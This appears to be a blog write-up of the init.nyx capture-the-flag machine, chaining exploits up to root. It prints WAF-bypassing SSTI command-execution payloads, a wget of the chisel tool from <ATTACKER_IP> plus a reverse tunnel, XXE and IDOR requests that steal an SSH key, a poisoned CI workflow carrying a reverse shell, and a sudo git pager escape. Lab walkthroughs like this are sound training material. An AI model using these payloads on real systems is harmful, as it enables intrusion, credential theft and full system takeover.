Overview
init.nyx
is a multi-stage challenge that tests a wide array of modern
penetration testing skills. The path requires chained exploits, deep
enumeration, pivoting, and a realistic CI/CD pipeline takeover to
achieve root access.
Phase 1: Initial Foothold (www-data -> dev)
Press enter or click to view image in full size

Standard SSTI payloads are blocked. After fuzzing, it’s discovered that the application uses an obscure @
symbol syntax. A WAF blocks a simple, but this can be bypassed by
building the function name from separate strings using concatenation
Press enter or click to view image in full size

We use the shell_exec function for more reliable multi-line output.
- Payload:
@{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('id')}
Press enter or click to view image in full size

Discover Git Repository: Listing the contents of the webroot (/var/www/html/) reveals a .git
directory. Accessing this directory via the web browser is blocked with
a 403 Forbidden error, so we must use our RCE to analyze it.
- Payload:
@{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('ls -la /var/www/html/')}
Press enter or click to view image in full size

The key to the next step is hidden in the Git history. We dump the entire log, looking for any accidentally committed secrets.
- Payload:
@{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('git -C /var/www/html/ log -p')} - Result: We find a commit with the message
Temp commit, will remove. Inside this commit, a file namedsecrets.tmpwas added containing an AES-256 encrypted password:
Press enter or click to view image in full size

The key is often stored in the web server’s configuration.
- Payload:
@{file_get_contents('/etc/apache2/conf-available/custom-vars.conf')}
Press enter or click to view image in full size

With both the encrypted data and the key, we can now decrypt the password. The resulting password is SQLiteDBP@ssw0rd. This password grants access to a local SQLite database, which we can query using our RCE.
- Payload:
@{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('sqlite3 /var/www/html/init.db "SELECT * FROM services;"')}
Press enter or click to view image in full size

To access the AdminHelper service, we must set up a port forward using chisel.
- Set up
chisel: On the attacker machine, start thechiselserver.
Press enter or click to view image in full size

We first attempt to download chisel to /tmp and execute it, but it fails silently. Investigating the mount options reveals /tmp is mounted with the noexec flag.
- Payload:
@{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('mount | grep /tmp')}
Press enter or click to view image in full size

We use /dev/shm as our new upload location and execute the chisel client to connect back to our server.
- Download Payload:
@{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c') ('wget http://<ATTACKER_IP>:8000/chisel -O /dev/shm/chisel && chmod +x /dev/shm/chisel')} - Execute Pivot Payload:
@{('s'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c')('/dev/shm/chisel client <ATTACKER_IP>:9001 R:8888:localhost:8888')}
Press enter or click to view image in full size

A connection is established on our chisel server. Port 8888 is now forwarded
Press enter or click to view image in full size

Now we attack the internal AdminHelper service through our tunnel.
- Exploit XXE for SSH Key: The service is vulnerable to XXE. We craft a payload to read the
devuser's private SSH key from/home/dev/.ssh/id_rsa.

curl -X POST -H "Content-Type: application/xml" --data-binary "@payload.xml" http://localhost:8888/api/get_keyThe exploit succeeds via an error message that leaks the entire contents of the encrypted id_rsa file. We save this key.
Press enter or click to view image in full size


Exploit IDOR for Passphrase: The key is encrypted. We find another endpoint, /api/user_info?id=1. By changing the ID to 2, we exploit an IDOR.
- Command:
curl http://localhost:8888/api/user_info?id=2
Press enter or click to view image in full size

Gain User Access
We now have the private key and its passphrase.
- Log In: On our attacker machine, we use the credentials to log in via SSH.
chmod 600 id_rsa_dev
Get TirexV2’s stories in your inbox
Join Medium for free to get updates from this writer.
ssh -i id_rsa_dev dev@init.nyx
- Capture Flag: We are logged in as the
devuser.
Press enter or click to view image in full size

The “Poisoned Pull Request”
Logged in as dev, enumeration reveals a Gitea service on localhost:3000 and credentials (dev / **********d1!) in .bash_history. We set up a new SSH port forward (ssh -L 3000:localhost:3000 ...) to access the Gitea UI.
Press enter or click to view image in full size

We found a local service running in 127.0.0.1:3000
Press enter or click to view image in full size

Press enter or click to view image in full size

Find Access Token: The attacker logs into the Gitea UI as dev. Before they can push changes from the command line, they need an access token. By navigating to Settings -> Applications, they find a pre-generated token named PushCLI Token that can be used for this purpose.
Press enter or click to view image in full size

Press enter or click to view image in full size

- Modify Workflow: In our
dev@init.nyxSSH session, we edit/var/www/html/.gitea/workflows/main.ymlto contain a reverse shell payload. The workflow must specifyruns-on: host. - Push to New Branch: We commit this change and push it to a new branch (e.g.,
exploit-branch).
Press enter or click to view image in full size

- Create Pull Request: In the Gitea web UI, we create a new Pull Request from
exploit-branchtomain. - Catch the Shell: The moment the PR is created, the Action triggers. Our listener on port 443 receives a connection, giving us a shell as the
gitea-runneruser.
Press enter or click to view image in full size

- Upgrade Shell: We upgrade our simple reverse shell to a full interactive TTY.
python3 -c 'import pty; pty.spawn("/bin/bash")'
- Check
sudo: We check our privileges.
Press enter or click to view image in full size

- The output reveals we can run
/usr/bin/gitasrootwithout a password. - Exploit
sudo git: We exploit this permission using a well-knownlesspager escape technique. - Command:
sudo git help status - The help text opens in the
lessviewer. At the:prompt at the bottom, we type!/bin/bashand press Enter. - Rooted: We are immediately dropped into a root shell.
Press enter or click to view image in full size
